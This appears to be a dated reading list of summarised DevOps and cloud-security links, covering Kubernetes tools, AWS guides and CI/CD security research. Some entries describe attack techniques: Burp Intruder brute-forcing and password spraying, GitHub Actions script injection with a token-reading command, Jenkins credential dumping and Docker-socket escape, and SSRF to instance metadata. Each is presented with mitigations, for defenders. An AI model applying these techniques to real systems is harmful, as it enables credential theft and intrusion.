    • Non-goals: Does not produce applicable patches and does not merge (it points to mergiraf for AST merging).

    Takeaway: Configure it as git’s external diff for reviewing refactors and reformat-heavy changes. Keep normal diff for patches.

  • Compose with Markdown in Google Docs on Web
    summary

    TL;DR: Google Workspace update (March 29, 2022): Google Docs on the web can auto-convert Markdown syntax as you type.

    • Enable: Tools > Preferences > “Automatically detect Markdown”; off by default for each user.
    • Already supported: * or - for bullets, numbered lists, and [] for checkboxes.
    • New: Headings, italic, bold, bold italic, strikethrough and links.
    • Admin: There is no admin control for the feature.
    • Rollout: Rapid Release and Scheduled Release domains.

    Takeaway: Turn it on if you write Markdown by habit. It saves learning Docs keyboard shortcuts.

  • Managing Pod Scheduling Constraints and Groupless Node Upgrades with Karpenter in Amazon EKS
    summary

    TL;DR: AWS Containers blog post on Karpenter’s group-less autoscaling: how pod scheduling constraints drive node provisioning, and how to upgrade nodes without node groups.

    • Updated: A note says the post was updated in Feb 2024 for Karpenter v0.33.1 and the v1beta1 API, so it is not the 2022 original.
    • How Karpenter works: Watches the total resource requests of unschedulable pods, then launches right-sized nodes and binds pods to them for efficient bin-packing.
    • Versus Cluster Autoscaler: CAS relies on node groups and the kube-scheduler, which can mean minutes of pod scheduling latency.
    • Group-less: Capacity is managed without predefined node groups.
    • Topics: Pod scheduling constraints (node selectors, affinity and similar) and rolling node upgrades.

    Takeaway: Read it with the current Karpenter v1 docs, since the API has changed again after v1beta1.

  • kubectl-detector-for-docker-socket: kubectl Plugin for Detecting Dockershim Usage
    summary

    TL;DR: Detector for Docker Socket (DDS), from AWS, is a kubectl plugin that finds workloads mounting docker.sock, which matters for the dockershim removal.

    • Status: The repository is archived and AWS no longer supports or recommends using it.
    • Install: kubectl krew install dds.
    • How it works: Inspects Pods, ReplicaSets, Deployments, StatefulSets, DaemonSets, Jobs and CronJobs, checking volumes for paths matching *docker.sock.
    • Usage: kubectl dds scans every namespace you can access; --namespace limits the scope.
    • Context: Links the Kubernetes dockershim deprecation FAQ at k8s.io/dockershim.

    Takeaway: The migration it was built for is over. A quick kubectl get pods -A -o yaml | grep docker.sock does the same check today.

  • Kubernetes Infrastructure the GitOps Way
    summary

    (Could not fetch full text.)

    TL;DR: CNCF on-demand webinar (about 64 minutes, published Mar 31, 2022) by Michal Vančo of Kubermatic on applying GitOps to the Kubernetes infrastructure layer as well as to apps.

    • Toolchain: Flux, Helm, Grafana and Prometheus combined into an end-to-end pipeline.
    • Demo: Delivering the Kubermatic Kubernetes Platform through a simple web wizard (start.kubermatic).
    • Scope: From choosing a Git provider down to detailed stack configuration, including secrets management.
    • Channel: CNCF YouTube channel.
    • Source caveat: The YouTube description is empty; details come from the CNCF online-programs listing and a Kubermatic resource page found by web search.

    Takeaway: Watch it for a worked example of bootstrapping a whole platform stack with Flux and Helm from Git.

  • Charm: Tools to Make the Command Line Glamorous
    summary

    TL;DR: Charm builds open-source Go libraries and CLI tools that make terminal apps look good.

    • Libraries: Bubble Tea (TUI framework), Bubbles (components), Lip Gloss (styling and layout), Huh (forms), Glamour (Markdown rendering), Wish (SSH apps), Log and Harmonica (animation).
    • Tools: Gum (styled shell-script prompts without Go), Glow (Markdown reader), Skate (key-value store) and Mods (an LLM CLI).
    • Reach: The site says Charm technology is used in over 25,000 applications.
    • Current focus: The homepage now leads with Crush, an AI coding agent for the terminal, which was not on the site in 2022.

    Takeaway: Use Gum to make shell scripts interactive in minutes, and Bubble Tea when you need a full Go TUI.

  • kaar: Kubernetes Application Archive
    summary

    TL;DR: kaar (Kubernetes Application Archive), by Kris Nóva, bundles a Kubernetes app’s manifests and all its referenced container images into one OCI artifact.

    • Process: Recursively finds valid Kubernetes YAML, collects every referenced image (local first, then remote) and archives the images with the YAML.
    • Output: An OCI-compliant image that can be pushed to any registry.
    • CLI: tar-like flags: kaar -cf myapp.kaar ./app to create and kaar -xf myapp.kaar ./app to extract, with -z for compression.
    • Internals: A .kaar directory holds raw image data and metadata.
    • Status: The README says “Active Development”; the repo has about 152 stars and now lives under krisnova/kaar.

    Takeaway: An interesting idea for air-gapped or offline delivery. For production, check maintained tools that do the same job.

  • sa-hunter: Correlate Service Accounts, Pods and Nodes to Their RBAC Permissions
    summary

    TL;DR: sa-hunter, from Twistlock (Palo Alto Networks), maps Kubernetes service accounts and their pods and nodes to the RBAC permissions bound to them.

    • Status: Deprecated in favor of rbac-police.
    • Output: JSON listing each service account, the nodes and pods using it, and its roles and clusterroles with their rules.
    • Cloud IAM: Detects eks.amazonaws.com/role-arn and iam.gke.io/gcp-service-account annotations, which link service accounts to cloud identities.
    • Usage: Python 3; pip3 install -r requirements.txt, then ./sa_hunter.py with -a (all SAs), -o (output file) and -l (loud).
    • Purpose: Shows which nodes host powerful credentials, which matters for container escape scenarios.

    Takeaway: Use rbac-police now. The idea of mapping privileged service accounts to the nodes that run them is still worth checking in any cluster.

  • personal-security-checklist: 300+ Tips for Protecting Digital Security and Privacy
    summary

    TL;DR: Lissy93’s Personal Security Checklist is a curated list of 300+ tips for securing your digital life, also published as the website digital-defense.io.

    • Formats: CHECKLIST.md, raw data in personal-security-checklist.yml, a website and a free API.
    • Website: Filter by threat model, tick items off and track progress with charts.
    • Self-hosting: Built with Qwik and TypeScript; deploy as a static site or with the lissy93/personal-security-checklist Docker image (about 11 MB, non-root, nginx on port 8080).
    • Adoption: About 22.6k GitHub stars at the time of fetching.

    Takeaway: A good list to hand to non-security colleagues. Filter it by threat model rather than trying to do all 300 items.

  • stackrox: Kubernetes Security Platform with Risk Analysis, Visibility and Runtime Alerts
    summary

    TL;DR: StackRox is an open-source Kubernetes security platform that does risk analysis, visibility, runtime alerts and hardening advice.

    • Lifecycle coverage: Integrates at build, deploy and runtime.
    • Install: The operator is the supported method from release 4.10; Helm and script installs are marked deprecated.
    • Platforms: EKS, AKS, GKE, OpenShift, and Docker Desktop, Colima or minikube for local testing.
    • History: Built on the product formerly known as Prevent, and before that Mitigate and Apollo.
    • Community: Slack #stackrox and stackrox.io.

    Takeaway: A full open-source alternative to commercial Kubernetes security suites. Install with the operator, and budget for its resource footprint.

  • TruffleHog v3: Improved Secrets Detection
    summary

    TL;DR: TruffleHog, from Truffle Security, finds leaked credentials and checks whether they are still live. v3 was a rewrite focused on detection and verification.

    • Discovery: Scans Git, chats, wikis, logs, API testing platforms, object stores and filesystems.
    • Classification: Recognizes more than 800 secret types and maps each to its provider.
    • Validation: Tries to log in with each secret to confirm it is live.
    • Analysis: For about 20 common credential types, finds out who owns the secret and what it can access.
    • Run: docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=....
    • Enterprise: A paid version adds continuous monitoring of Jira, Slack, Confluence, Teams and SharePoint.

    Takeaway: Run it in CI and against your GitHub org history. Treat verified-live findings as incidents and rotate those keys first.

  • Pixsy: Find and Fight Image Theft
    summary

    TL;DR: Pixsy is a commercial service that finds where your images are used online and pursues compensation for unlicensed use.

    • Import: Sync from image platforms, upload in bulk or use sFTP; the site says over 150,000,000 images are monitored daily.
    • Monitoring: Scans the public web and groups matches with AI filters; it reports over 350,000,000 matches found.
    • Enforcement: In-house copyright experts and partner law firms handle infringement cases on a no-win, no-fee basis; over 250,000 cases managed.
    • Alerts: Notifies you of new matches automatically.

    Takeaway: Useful for photographers or brands with valuable images. Check the commission terms before handing over cases.

  • PacketStreamer: Distributed tcpdump for Cloud Native Environments
    summary

    TL;DR: PacketStreamer, from Deepfence, is a distributed tcpdump: lightweight sensors capture packets on many hosts and stream them to one central pcap receiver.

    • Status: The repository was archived on Feb 11, 2026.
    • Sensors: Run on bare metal, Docker hosts, Kubernetes nodes and AWS Fargate, on Linux and Windows; packets are selected with BPF filters.
    • Transport: Streams can be compressed and encrypted with TLS.
    • Receiver: Writes one combined pcap, or feeds live traffic to Zeek, Wireshark, Suricata or ML models.
    • Build: Needs Go and libpcap-dev; build with make.
    • Origin: Used by Deepfence’s ThreatStryker to collect traffic for forensic analysis.

    Takeaway: The design is a neat way to do multi-host capture, but the project is archived, so fork it or use maintained alternatives.

  • Kubernetes Native Testing with Testkube
    summary

    TL;DR: “Containers from the Couch” video (about 46 minutes, April 6, 2022) looking at Testkube, a Kubernetes-native test framework.

    • Concept: Brings the flexibility of Kubernetes CRDs and the power of controllers to testing.
    • Executors: Different executors run the tests, and test status is stored directly in Kubernetes.
    • Project: github.com/kubeshop/testkube.
    • Channel: Containers from the Couch, tagged #aws #kubernetes #cloud.
    • Source caveat: Based on the video’s metadata and description only; the video itself was not watched.

    Takeaway: Worth a look if you want tests to run inside the cluster as Kubernetes objects instead of from an external CI runner.

06.04.2022

  • asdf: Extendable Version Manager for Ruby, Node.js, Elixir, Erlang and More
    summary

    TL;DR: asdf is a plugin-based CLI that manages several language runtime versions per project, replacing separate tools like nvm, rbenv, pyenv and gvm.

    • Config: One .tool-versions file per project, plus one global config.
    • Migration: Reads legacy files such as .node-version, .nvmrc and .ruby-version.
    • Switching: Changes runtime versions automatically as you move between directories.
    • Extensibility: A simple plugin system and an asdf-plugin-template; shell completion for Bash, Zsh, Fish and Elvish.
    • Adoption: About 25.6k GitHub stars at the time of fetching.

    Takeaway: Commit a .tool-versions file so the whole team and CI use the same toolchain versions.

  • Learn Anything: Learn Anything with Mind Maps
    summary

    (Could not fetch full text.)

    TL;DR: Learn Anything is a free site for discovering learning resources on any topic, originally organized as interactive mind maps.

    • Current page: Shows little more than an “I want to learn” search prompt; content loads client-side.
    • Description: Its meta description says it connects you to the best resources for every subject.
    • Mind maps: The 2022 link described mind maps; the current page does not mention them.
    • Source caveat: Only the title, meta description and search box could be read; features could not be confirmed.

    Takeaway: Try it as a starting point for a new topic, but check that the linked resources are current.

  • lazygit: Simple Terminal UI for Git Commands
    summary

    TL;DR: lazygit, by Jesse Duffield, is a terminal UI for git that makes interactive rebases, partial staging and similar tasks quick.

    • Staging: Stage individual hunks or lines without editing patch files.
    • History editing: Interactive rebase, amend an old commit, cherry-pick, custom patches, and rebase from a marked base commit.
    • Other features: Bisect, worktrees, a commit graph, comparing two commits, filtering, custom commands, “nuke the working tree” and undo.
    • Install: Homebrew, MacPorts, Scoop and many Linux distro packages, or a release binary.
    • Pitch: The README’s rant targets git’s power being painful in daily use.

    Takeaway: If you avoid interactive rebase or git add -p, lazygit makes them routine. Learn its undo before experimenting.

  • Hacking the Cloud: CI/CDon’t CTF Walkthrough (GitLab, AWS)
    summary

    TL;DR: CI/CDon’t, by Nick Frichette on Hacking The Cloud, is a low-difficulty AWS and GitLab CI/CD capture-the-flag you deploy into your own AWS account with Terraform.

    • Deploy: git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git, cd htc-ctfs/aws/cicdont, then terraform init and terraform apply.
    • Warning: It deploys intentionally vulnerable infrastructure, so use an account with no sensitive data.
    • Mitigations: The vulnerable EC2 instance is only reachable from your public IP and needs a randomly generated password.
    • Cost: The author reports three hours of running cost nothing on the bill, but longer runs may add up.
    • Content: The page covers the storyline, objective and a full walkthrough.

    Takeaway: A quick, cheap exercise in CI/CD-to-AWS attack paths. Run terraform destroy as soon as you finish.

  • How to Burp Good
    summary

    TL;DR: n00py’s 2017 blog post of practical Burp Suite tips for web application penetration tests, especially using Intruder for login attacks.

    • Brute force: Send the login POST to Intruder, clear auto-selected positions, mark the password field, use “Sniper” with a simple-list payload, then sort results by response length.
    • Response analysis: Use Grep - Match or Grep - Extract to flag keywords in responses.
    • Password spraying: Mark both username and password and switch to “Cluster bomb” with two payload sets.
    • Rationale: Tuning these attacks in Burp is easier than with tools like Hydra, the author says.
    • Age: Written in 2017, so Burp’s UI labels may have changed.

    Takeaway: A handy refresher on Intruder attack types. Respect lockout policies and the test scope when spraying.

  • Network Infrastructure Security Guidance by NSA
    summary

    (Could not fetch full text.)

    TL;DR: NSA’s March 2022 Network Infrastructure Security Guidance, a technical report for network administrators on securing network architecture, devices and remote administration.

    • Document: A 58-page technical report, PP-22-0266, version 1.0.
    • Principles: Built on zero trust, defense in depth, segmentation and least-privilege access, according to coverage of the report.
    • Architecture: Reported recommendations include layered next-generation firewalls and placing public-facing systems in DMZ subnets.
    • Caveat in the source: NSA notes the guidance may need changes as owners adopt more mature zero trust designs.
    • Related: A separate NSA paper on zero trust maturity for the network pillar covers data flow mapping, macro- and micro-segmentation and SDN.
    • Source caveat: media.defense.gov returned 403 to automated fetches; summary is based on secondary coverage (eSecurity Planet, a mirrored copy listing) found by web search.

    Takeaway: Download the PDF in a browser and use it as a checklist for router, switch and firewall hardening and for admin access paths.

  • Magic Eraser: Remove Unwanted Things from Images in Seconds
    summary

    TL;DR: Magic Eraser, by Magic Studio, is a free web tool that removes unwanted objects, people or text from photos with AI.

    • Workflow: Upload, brush over the area, click erase and download.
    • Formats: JPG, PNG, AVIF and WEBP (the help also lists HEIC and TIFF); the site says there is no resolution limit.
    • Bulk: A Pro bulk mode edits 50 pictures at once.
    • Tips: Include the object’s shadow in the brush stroke, erase again instead of undoing, and erase long thin objects in short sections.
    • Pricing: Free with no signup; the site also upsells AI headshots.

    Takeaway: Fine for quick cleanups of screenshots or photos. Do not upload sensitive images to a third-party service.

  • aws-automated-incident-response-and-forensics: Automated Incident Response and Forensics Framework
    summary

    TL;DR: AWS Labs framework that automates incident response and forensics steps across many AWS accounts with Lambda functions, following the AWS Incident Response whitepaper.

    • Origin: Built for an automotive-industry customer with many accounts, where IR was manual, slow, error-prone and hard for untrained staff.
    • Phases: Containment, acquisition, examination and analysis.
    • Trigger: Environment owners start the process with tags, so little knowledge is needed.
    • Isolation: Separate accounts for the automation, for artifact storage and for forensic environments; several analysis environments can run in parallel.
    • Evidence types: Static (memory and disk images) and live but segregated systems.
    • Limitation: Not meant to produce evidence admissible in court.

    Takeaway: A good reference design for tag-triggered isolation and evidence capture on EC2. Adapt the account split to your own landing zone.

  • BotKube: Messaging Bot for Monitoring and Debugging Kubernetes Clusters
    summary

    TL;DR: Botkube is a chat-based Kubernetes monitoring and troubleshooting tool. In 2022 it was an open-source ChatOps bot; it is now marketed as an AI assistant.

    • Alerts: Kubernetes alerts sent to your chat platform, with custom rules to cut noise and route alerts to the right developers.
    • Investigation: The Botkube Assistant uses your tools and docs to suggest root causes and generate commands.
    • Remediation: Suggests fixes, generates manifests and runbooks, and drafts post-mortem or RCA reports.
    • Access model: Lets developers troubleshoot from chat without direct CLI access to clusters.
    • Shift: The current site is a commercial, AI-led product page, unlike the open-source bot that was linked in 2022.

    Takeaway: Chat-based cluster access needs tight RBAC on the bot’s service account. Review what commands it is allowed to run.

  • AWS Controllers for Kubernetes (ACK): Define and Use AWS Service Resources Directly from Kubernetes
    summary

    TL;DR: Overview page for AWS Controllers for Kubernetes (ACK), which lets you define and manage AWS service resources as Kubernetes objects.

    • Deprecated site: The page says this documentation site is deprecated and has moved to a new site.
    • Purpose: Use AWS managed services, such as databases or queues, from Kubernetes without defining them outside the cluster or running them inside it.
    • Packaging: One controller image per AWS service in the ECR Public Gallery, at gallery.ecr.aws/aws-controllers-k8s/$SERVICENAME-controller, for example s3-controller.
    • Versioning: No :latest tags; you must always pin a release version.
    • Requirements: Any Kubernetes cluster works; EKS is not required.

    Takeaway: Install only the service controllers you need, pin their versions, and scope each controller’s IAM role tightly.

  • Kubernetes Security Through GitOps Best Practices: Argo CD and Starboard
    summary

    TL;DR: A roughly 24-minute tutorial by Anais Urlichs that adds Aqua’s Starboard to an Argo CD GitOps workflow so Kubernetes workloads are continuously scanned for vulnerabilities.

    • Argo CD setup: Deploys Argo CD and manages Helm charts declaratively through it.
    • Starboard install: Installs the Starboard operator via Helm, then deploys an app and inspects the generated vulnerability reports and other scan results.
    • What Starboard does: Open source tool that wraps other scanners and exposes their reports through the Kubernetes API as custom resources.
    • Observability: Deploys Prometheus through Argo CD and reads Starboard metrics via a Starboard exporter.
    • Companion material: A blog post at anaisurl.com/gitops-argocd-starboard accompanies the video.
    • Status note: Starboard has since been discontinued and folded into Trivy (trivy kubernetes and Trivy Operator).

    Takeaway: The pattern of managing a security scanner as just another GitOps-deployed app, with results queryable as Kubernetes objects and Prometheus metrics, still applies. Today you would do it with Trivy Operator instead of Starboard.

  • Your Pocket-Sized Cloud with a Raspberry Pi
    summary

    TL;DR: Alex Ellis shows how to turn a spare Raspberry Pi into a small API-driven “cloud” using faasd (OpenFaaS without Kubernetes) to run functions, cron jobs, webhook receivers and web pages.

    • Scaled-down definition: Targets under 1GB of RAM, containers for packaging and a REST API for deployment; accepts a single point of failure but recommends an NVMe SSD over an SD card.
    • Why not Kubernetes: Kubernetes has a non-trivial cost on a Pi; faasd runs containers directly on containerd, with few moving parts and simple upgrades (replace the binary).
    • Components: OpenFaaS gateway with REST management API, built-in Prometheus monitoring and a NATS-based queue for async invocations.
    • Public access: Optional inlets HTTPS tunnel to expose the OpenFaaS API and custom function domains.
    • Triggers and CI: Covers cron-scheduled functions via cron-function, asynchronous invocation, and deploying from GitHub Actions.
    • Real use: The author runs 7 applications 24/7 on a Raspberry Pi 3.

    Takeaway: If you have an idle Pi, faasd gives you a low-maintenance place to run small automations and webhooks without operating a Kubernetes cluster.

  • 10 Must-Have Kubernetes Tools
    summary

    TL;DR: Viktor Farcic (DevOps Toolkit channel) walks through the Kubernetes tools he uses almost daily, grouped by job, in about 16 minutes.

    • Local dev: Rancher Desktop.
    • Operate: kubectl, kubectx and kubens; k9s as a terminal UI.
    • Packaging: Helm for third-party applications.
    • GitOps: Argo CD or Flux for synchronization.
    • Certificates and infra: cert-manager for TLS; Crossplane for infrastructure; Crossplane or KubeVela for application definitions.
    • Observability: Prometheus and Grafana for metrics, Loki and Promtail for logs.
    • Policy: Admission control with Kyverno or OPA Gatekeeper. A gist with the commands is linked in the description.

    Takeaway: A reasonable reference stack for a 2022-era cluster. Treat it as a checklist of categories (GitOps, certs, policy, observability) rather than as fixed tool picks.

  • How We Discovered Vulnerabilities in CI/CD Pipelines of Popular Open-Source Projects
    summary

    TL;DR: Cycode researchers found script-injection flaws in GitHub Actions workflows of popular open-source projects, where unsanitized issue and comment input could run code in builds and steal privileged tokens.

    • Affected projects: Liquibase, Dynamo BIM, FaunaDB, Wire, Astro, Kogito and Ombi, among dozens reported; all were fixed after disclosure, with no sign of prior exploitation.
    • Root cause: Workflows interpolated attacker-controlled values such as ${{github.event.issue.title}} directly into run steps.
    • Token abuse: GITHUB_TOKEN has read/write rights by default for non-fork events; a job-level env var can be read with env | grep GITHUB_TOKEN.
    • Runner internals: With code execution an attacker controls later steps and can capture secrets from process environments, network traffic or Runner.Worker memory, including secrets not referenced in the workflow.
    • Mitigations: Prefer maintained actions over inline run scripts, pass untrusted input through env: variables, set permissions: read-all or tighter, scope PATs and org secrets, and require approval for all outside collaborators.
    • Scope: These are workflow misconfigurations, not GitHub platform bugs, and can exist in private repos too.

    Takeaway: Grep your workflows for ${{ github.event. inside run: blocks and move those values into env:. Also set explicit minimal permissions: on every workflow.

  • Fantastic AWS Hacks and Where to Find Them
    summary

    TL;DR: Christophe Tafani-Dereeper (Datadog) gives a primer on how companies actually get breached on AWS and how to prevent the most common causes. The deck is also titled “A Primer on Cloud Security and How Companies Get Hacked on AWS” and has a SANS New2Cyber video.

    • Framing: Cloud APIs are Internet-exposed with no internal network for the control plane, so identity is the perimeter. Quotes Scott Piper: the responsibility model is “split”, not shared.
    • Cause 1, stolen long-lived credentials: IAM user keys never expire and leak via build logs, app logs, source code, Docker images and laptops. Use AWS SSO or another IdP for humans and instance roles or cross-account roles for apps.
    • Cause 2, public S3 buckets: Driven by insecure defaults, confusing terms like “Authenticated users”, and bucket policy/ACL complexity. Use S3 Block Public Access.
    • Cause 3, SSRF to instance metadata: Exploiting 169.254.169.254 (Capital One case); enforce IMDSv2.
    • Tooling appendix: Prowler, ScoutSuite, Cloudsplaining, IAM Access Analyzer; IaC scanners tfsec, checkov, terrascan, regula, KICS; offensive Pacu, enumerate-iam; emulation Stratus Red Team, Leonidas.
    • Learning resources: flaws.cloud, flaws2.cloud, CloudGoat, hackingthecloud, permissions.cloud, tl;dr sec and CloudSecList newsletters.

    Takeaway: Three fixes cover most of the disclosed incidents in the deck: no IAM users with static keys, S3 Block Public Access, and IMDSv2 enforcement. Start there before buying tools.

  • access-undenied-aws: Explain AWS AccessDenied CloudTrail Events and Suggest Remediation
    summary

    TL;DR: Access Undenied, by Ermetic (author noamdahan), is a Python CLI that parses AWS CloudTrail AccessDenied events, works out why access was denied, and suggests least-privilege fixes.

    • Problem solved: Many services (S3, SSO, EFS, EKS, GuardDuty, Batch, SQS and others) return AccessDenied without detail, and explicit denies are hard to trace across policies.
    • SCP support: Can evaluate service control policies in the management account, which otherwise must be hunted down manually.
    • Install and run: pip install access-undenied-aws, then access-undenied-aws analyze --events-file cloudtrail_events.json.
    • Output: An AccessDeniedReason plus details such as PoliciesToAdd and ExplicitDenyPolicies.
    • Deployment options: Same-account mode with default permissions, or cross-account roles for multi-account and SCP analysis; can also run as a Lambda.
    • Repo moved: The URL now redirects to tenable/access-undenied-aws after Tenable acquired Ermetic.

    Takeaway: Useful for debugging permission errors in multi-account AWS Organizations with SCPs. Feed it the CloudTrail event instead of guessing which policy layer blocked the call.

22.03.2022

  • 10 Real World Stories of How We’ve Compromised CI/CD Pipelines
    summary

    (Could not fetch full text.)

    TL;DR: NCC Group consultants (Aaron Haymore, Iain Smart, Viktor Gazdag, Divya Natesan, Jennifer Fernick) describe ten CI/CD pipeline compromises from real assessments, arguing that pipelines are highly privileged “execution engines”.

    • Jenkins #1: S3 bucket with directory listing exposed a script holding a Git credential. That credential also worked on Jenkins, which led to admin access, where Groovy in the script console dumped about 200 credentials (AWS keys, SSH certs, SAST/DAST tokens).
    • Jenkins #2-3: A “least-privilege” builder role still had Build/Replay, which allows arbitrary Groovy. The GitHub OAuth plugin option “Grant READ permissions to all Authenticated Users” let any GitHub account in.
    • GitLab #4-8: Shared, non-isolated runners using --privileged, secrets in plain environment variables, missing protected branches, and the host Docker socket mounted into jobs, allowing container escape and cross-job compromise.
    • #9-10: Kube2IAM abuse and the developer laptop as an entry point.
    • Recommendations given: Remove hardcoded credentials, keep Jenkins off the Internet, add audit plugins, enforce MFA for admins, use isolated and protected runners, and avoid exposing the Docker socket.
    • Source caveat: The original URL now redirects to NCC Group’s research landing page. This summary is based on a Wayback Machine copy from 2022.

    Takeaway: Audit who can trigger code execution in your CI (replay rights, unprotected branches, shared runners) as carefully as who has admin. In these stories, an execution path was enough to reach every secret.

  • threat-matrix-cicd: Threat Matrix for CI/CD Pipelines
    summary

    TL;DR: An ATT&CK-style threat matrix for CI/CD pipelines, created by the Mercari Security Team (author rung) and published alongside the CODE BLUE 2021 talk “Attacking and Securing CI/CD Pipeline”.

    • Tactics covered: Initial Access, Execution, Execution (Production), Persistence, Privilege Escalation, Defense Evasion, Credential Access, Lateral Movement, Exfiltration and Impact, each with techniques and mitigations.
    • Component model: Developer device, Git repository service (GitHub, GitLab), CI and CD services (CircleCI, Cloud Build, CodeBuild, GitHub Actions, Spinnaker, Argo CD), secret management (AWS/GCP Secret Manager, Vault) and production (cloud, registries, Kubernetes).
    • Key argument: Supply-chain attacks are not the only CI/CD risk; the pipeline’s access to production and secrets is a target in itself.
    • Format: A matrix image plus per-tactic tables in the README; reviewed by Mercari’s Platform Team.
    • Current status: A June 2026 note says the author is now building cicd-sensor, a pre-release open-source runtime security sensor for CI/CD pipelines.

    Takeaway: Use the matrix as a checklist when threat-modelling your own pipeline. Walk each tactic against your CI, CD and secret store and note which mitigations you lack.

  • AWS ClickOps: Notify on Manual Actions by Monitoring CloudTrail
    summary

    (Could not fetch full text.)

    TL;DR: Paul Zietsman (cloudandthings.io) built ClickOops, a Lambda that scans CloudTrail logs for manual AWS console actions and posts them to Slack so teams can bring IaC back in sync.

    • Motivation: Read-only console access for everyone is too strict, but console changes (“ClickOps”) cause drift; the aim is to alert and investigate, not block.
    • Detection: Filters CloudTrail events to identify human console actions, building on Arkadiy Tetelman’s analysis of which CloudTrail events indicate manual actions.
    • Deployment: Fits AWS Control Tower, running in the Log Archive account that receives all org CloudTrail logs. Can also run single-account if S3 keys match */{{account_id}}/CloudTrail/*/*.json.gz.
    • Notifications: Slack app incoming webhook, with the URL stored in SSM Parameter Store. Messages include the IAM action, the identity and the full event.
    • Terraform module: A March 2022 update points to cloudandthings/terraform-aws-clickops-notifier.
    • Source caveat: Medium blocked direct fetching; this summary is based on a Wayback Machine copy of the post.

    Takeaway: A cheap drift-detection control for teams that allow console write access. Deploy the Terraform module in your central logging account and route alerts to a dedicated channel.

  • x509-certificate-exporter: Monitor Kubernetes x509 Certificates with Prometheus
    summary

    TL;DR: A Prometheus exporter from Enix that watches X.509 certificates in and around Kubernetes and turns expiration dates into metrics and alerts.

    • Sources watched: TLS Secrets of any type, ConfigMaps, kubeconfigs, PKCS#12 and JKS/JCEKS stores, on-disk PEM files via glob patterns, and admission webhook/APIService/CRD caBundle fields.
    • Chains: Every certificate in a PEM bundle becomes its own series, so intermediate and root CAs are tracked too.
    • CRLs: Tracks Certificate Revocation List freshness in a dedicated x509_crl_* metric family.
    • Deployment: In-cluster (Helm chart on Artifact Hub), as a node-level DaemonSet for on-disk PKI, or as a standalone binary.
    • v4 changes: Full rewrite around a YAML config, memory-safe watches (README claims about 10x lower limits on Secret-heavy clusters), and multi-cluster fan-in from one instance.
    • Supply chain: SLSA Build L3 provenance, cosign-signed binaries, images and chart, and SBOM attestations.

    Takeaway: Install it with the Helm chart and alert on days-to-expiry. It catches certificates cert-manager does not manage, such as kubeadm, kubelet and webhook CA certificates.

  • How to Set Up Federated Single Sign-On to AWS Using Google Workspace
    summary

    TL;DR: AWS Security Blog guide to federating Google Workspace into AWS through IAM SAML federation, so Workspace users can open the AWS console without separate credentials. The post is now titled “How to set up IAM federation using Google Workspace”.

    • Title change: Retitled in March 2022, and updated in August 2022 for the rename of AWS SSO to IAM Identity Center. The post now points readers to Identity Center as the simpler, central option.
    • Mechanism: Create a SAML identity provider in IAM per account. Google Workspace sends SAML 2.0 assertions that map users to IAM roles.
    • Required attributes: https://aws.amazon.com/SAML/Attributes/Role and https://aws.amazon.com/SAML/Attributes/RoleSessionName; optionally SessionDuration.
    • User flow: The user starts from the Google apps menu (myaccount.google.com), picks the custom AWS app, and lands in the console with the selected role’s permissions.
    • Limitation: Per-account IAM federation has to be configured in every AWS account, which is why the post now steers to Identity Center.

    Takeaway: For multi-account setups, use IAM Identity Center with Google Workspace as the external IdP. Keep per-account IAM SAML for single accounts or special cases.

  • starboard: Kubernetes-Native Security Toolkit
    summary

    TL;DR: Starboard was Aqua Security’s Kubernetes-native security toolkit that ran scanners and stored their results as CRDs. It has been discontinued and merged into Trivy.

    • Status: The README says Starboard is discontinued with no new features, PRs or issues accepted. The CLI became trivy kubernetes and the operator became Trivy Operator.
    • Idea: Integrate heterogeneous security tools by writing their outputs into Kubernetes custom resources readable through the Kubernetes API.
    • Vulnerability scanning: Automated scanning of workload images.
    • Config audit: Checks Kubernetes resources against predefined rules or custom OPA policies.
    • Compliance: CIS Benchmark infrastructure checks and NSA/CISA Kubernetes Hardening compliance reports.

    Takeaway: Do not adopt Starboard now. Use Trivy Operator, which keeps the reports-as-CRDs model.

  • wireguard-operator: Provision WireGuard VPN in a Kubernetes Cluster
    summary

    TL;DR: A Kubernetes operator that deploys a WireGuard VPN server and peers from custom resources. This repo is archived; the project is now maintained by Namecheap at nccloud/wireguard-operator.

    • Status: The README states the repo is archived; continue at github.com/nccloud/wireguard-operator.
    • CRDs: A Wireguard resource creates the server, and WireguardPeer resources (with wireguardRef) create peers. Get a client config with kubectl get wireguardpeer peer1 --template={{.status.config}} | bash.
    • Features: Automatic key generation and IP allocation; keys stored as Kubernetes Secrets, so no persistence is needed; falls back to wireguard-go if the kernel module is missing.
    • Metrics: Exposes Prometheus metrics via prometheus_wireguard_exporter.
    • Tested platforms: IBM Cloud, Gcore, GKE (needs mtu: "1380", no Autopilot or COS-containerd images) and DigitalOcean (needs serviceType: "NodePort", since its load balancer lacks UDP). EKS and AKS are unchecked.

    Takeaway: A simple way to get VPN access into a cluster’s network. Use the nccloud fork and verify support on your provider first, since EKS and AKS were untested.

  • container-security-checklist: Container Security Checklist
    summary

    TL;DR: A curated checklist by krol3 covering container security from image build to running workload, with links to tools and further reading.

    • Threat model: Insecure host, misconfigured containers, vulnerable apps, supply chain attacks, exposed secrets, insecure networking, image integrity and container escapes.
    • Supply chain: Image signing with Notary (TUF) and Sigstore Cosign, plus material on Sigstore with SPIFFE/SPIRE.
    • Image hardening: Minimal or container-optimized OS images, multi-stage builds, official base images, non-root dedicated users, minimal capabilities, --read-only, no host path mounts, and fixed tags.
    • Runtime profiles: SELinux, AppArmor and Seccomp, plus avoiding privileged containers.
    • Scanning: CVE and secret scanning of images, Dockerfile linting and dynamic analysis for runtime behaviour.
    • Wider scope: Later sections cover the infrastructure and workload (Kubernetes) side.

    Takeaway: A good review list for a Dockerfile or platform baseline. Tick through the image-hardening items in a PR template or a CI policy.

  • PurplePanda: Identify Privilege Escalation Paths Within and Across Clouds
    summary

    TL;DR: PurplePanda, by Carlos Polop (HackTricks/PEASS author), enumerates cloud and SaaS permissions into Neo4j to find privilege escalation paths and dangerous permissions, for both red and blue teams.

    • Supported platforms: The README lists Google Cloud (GCP), GitHub and Kubernetes. Docker examples also show Concourse and CircleCI discovery variables; AWS and Azure are not listed.
    • Backend: Requires a Neo4j database set through PURPLEPANDA_NEO4J_URL and PURPLEPANDA_PWD. An optional SHODAN_KEY enriches discovered public IPs.
    • Usage: python3 main.py -e -p google,github,k8s --github-only-org --k8s-get-secret-values --gcp-get-secret-values.
    • Cross-platform paths: Links identities across platforms, for example a GitHub or Kubernetes credential that leads into GCP.
